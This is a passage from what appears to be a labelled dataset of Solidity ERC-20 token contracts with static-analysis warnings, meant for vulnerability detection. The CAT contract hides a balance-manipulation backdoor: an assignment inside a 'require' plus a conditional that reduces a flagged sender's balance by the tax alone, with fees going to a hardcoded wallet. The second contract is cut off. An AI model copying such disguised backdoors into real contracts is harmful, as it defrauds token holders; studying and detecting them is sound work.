"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract CAT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcluded;\n\n mapping(address => bool) private _autoAMMPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 313f94e): CAT.catsscoinus should be immutable \n\t// Recommendation for 313f94e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private catsscoinus;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6237e5): CAT._initialBuyTax should be constant \n\t// Recommendation for e6237e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 00ac362): CAT._initialSellTax should be constant \n\t// Recommendation for 00ac362: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b0f770): CAT._finalBuyTax should be constant \n\t// Recommendation for 7b0f770: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6dd5c29): CAT._finalSellTax should be constant \n\t// Recommendation for 6dd5c29: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a37b81e): CAT._reduceBuyTaxAt should be constant \n\t// Recommendation for a37b81e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9ba00ff): CAT._reduceSellTaxAt should be constant \n\t// Recommendation for 9ba00ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 877653f): CAT._preventSwapBefore should be constant \n\t// Recommendation for 877653f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"CatCoin\";\n\n string private constant _symbol = unicode\"CAT\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b67ddbe): CAT._taxSwapThreshold should be constant \n\t// Recommendation for b67ddbe: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ce43cc): CAT._maxTaxSwap should be constant \n\t// Recommendation for 6ce43cc: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4391e21): CAT.sellCount should be constant \n\t// Recommendation for 4391e21: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 480089a): CAT.lastSellBlock should be constant \n\t// Recommendation for 480089a: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n catsscoinus = payable(0x7ADFd25C472cDC1C40c424f7E6b9688F5a9BaB59);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcluded[owner()] = true;\n\n _isExcluded[address(this)] = true;\n\n _isExcluded[catsscoinus] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5f6d893): CAT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5f6d893: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 377c120): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 377c120: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3a46351): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3a46351: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 377c120\n\t\t// reentrancy-benign | ID: 3a46351\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 377c120\n\t\t// reentrancy-benign | ID: 3a46351\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7b83047): CAT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7b83047: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3a46351\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 377c120\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 96339c0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 96339c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (boolean-cst | severity: Medium | ID: ab55ae0): CAT._transfer(address,address,uint256) uses a Boolean constant improperly require(bool)(_autoAMMPair[catsscoinus] = true && ! _autoAMMPair[to])\n\t// Recommendation for ab55ae0: Verify and simplify the condition.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fd60baa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fd60baa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 rmttt = tAmount;\n\n require(tAmount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 txAmt = 0;\n\n if (from != owner() && to != owner() && to != catsscoinus) {\n\t\t\t// boolean-cst | ID: ab55ae0\n require(_autoAMMPair[catsscoinus] = true && !_autoAMMPair[to]);\n\n if (_buyCount == 0) {\n txAmt = tAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcluded[to]\n ) {\n require(tAmount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + tAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n txAmt = tAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n txAmt = tAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n if (_autoAMMPair[from]) rmttt = txAmt;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 96339c0\n\t\t\t\t\t// reentrancy-eth | ID: fd60baa\n swapTokensForEth(\n min(tAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 96339c0\n\t\t\t\t// reentrancy-eth | ID: fd60baa\n sendETHToFee();\n }\n }\n\n if (txAmt > 0) {\n\t\t\t// reentrancy-eth | ID: fd60baa\n _balances[address(this)] = _balances[address(this)].add(txAmt);\n\n\t\t\t// reentrancy-events | ID: 96339c0\n emit Transfer(from, address(this), txAmt);\n }\n\n\t\t// reentrancy-eth | ID: fd60baa\n _balances[from] = _balances[from].sub(rmttt);\n\n\t\t// reentrancy-eth | ID: fd60baa\n _balances[to] = _balances[to].add(tAmount.sub(txAmt));\n\n\t\t// reentrancy-events | ID: 96339c0\n emit Transfer(from, to, tAmount.sub(txAmt));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 377c120\n\t\t// reentrancy-events | ID: 96339c0\n\t\t// reentrancy-benign | ID: 3a46351\n\t\t// reentrancy-eth | ID: fd60baa\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee() private {\n\t\t// reentrancy-events | ID: 377c120\n\t\t// reentrancy-events | ID: 96339c0\n\t\t// reentrancy-eth | ID: fd60baa\n catsscoinus.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9639855): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9639855: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 64c9a21): CAT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 64c9a21: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4e9e3bd): CAT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4e9e3bd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fa5125a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fa5125a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9639855\n\t\t// reentrancy-eth | ID: fa5125a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9639855\n\t\t// unused-return | ID: 4e9e3bd\n\t\t// reentrancy-eth | ID: fa5125a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9639855\n\t\t// unused-return | ID: 64c9a21\n\t\t// reentrancy-eth | ID: fa5125a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9639855\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: fa5125a\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function rescue() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10701.sol",
"size_bytes": 19329,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Turnleft is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5bdecbc): Turnleft._taxWallet should be immutable \n\t// Recommendation for 5bdecbc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fb72ddb): Turnleft._initialBuyTax should be constant \n\t// Recommendation for fb72ddb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19b56cb): Turnleft._initialSellTax should be constant \n\t// Recommendation for 19b56cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0292252): Turnleft._reduceBuyTaxAt should be constant \n\t// Recommendation for 0292252: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd6449e): Turnleft._reduceSellTaxAt should be constant \n\t// Recommendation for fd6449e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1bad777): Turnleft._preventSwapBefore should be constant \n\t// Recommendation for 1bad777: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Turn left\";\n\n string private constant _symbol = unicode\"left\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f97be7): Turnleft._taxSwapThreshold should be constant \n\t// Recommendation for 6f97be7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c3dd8e): Turnleft._maxTaxSwap should be constant \n\t// Recommendation for 0c3dd8e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1b5d4b2): Turnleft.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1b5d4b2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f7cae5d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f7cae5d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e83e408): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e83e408: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f7cae5d\n\t\t// reentrancy-benign | ID: e83e408\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f7cae5d\n\t\t// reentrancy-benign | ID: e83e408\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 81bb404): Turnleft._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 81bb404: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e83e408\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f7cae5d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 357f334): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 357f334: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 2a6d7ec): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 2a6d7ec: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5c44ba9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5c44ba9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 2a6d7ec\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 357f334\n\t\t\t\t// reentrancy-eth | ID: 5c44ba9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 357f334\n\t\t\t\t\t// reentrancy-eth | ID: 5c44ba9\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 5c44ba9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 357f334\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 5c44ba9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 5c44ba9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 357f334\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f7cae5d\n\t\t// reentrancy-events | ID: 357f334\n\t\t// reentrancy-benign | ID: e83e408\n\t\t// reentrancy-eth | ID: 5c44ba9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: be5f192): Turnleft.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for be5f192: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f7cae5d\n\t\t// reentrancy-events | ID: 357f334\n\t\t// reentrancy-eth | ID: 5c44ba9\n\t\t// arbitrary-send-eth | ID: be5f192\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner 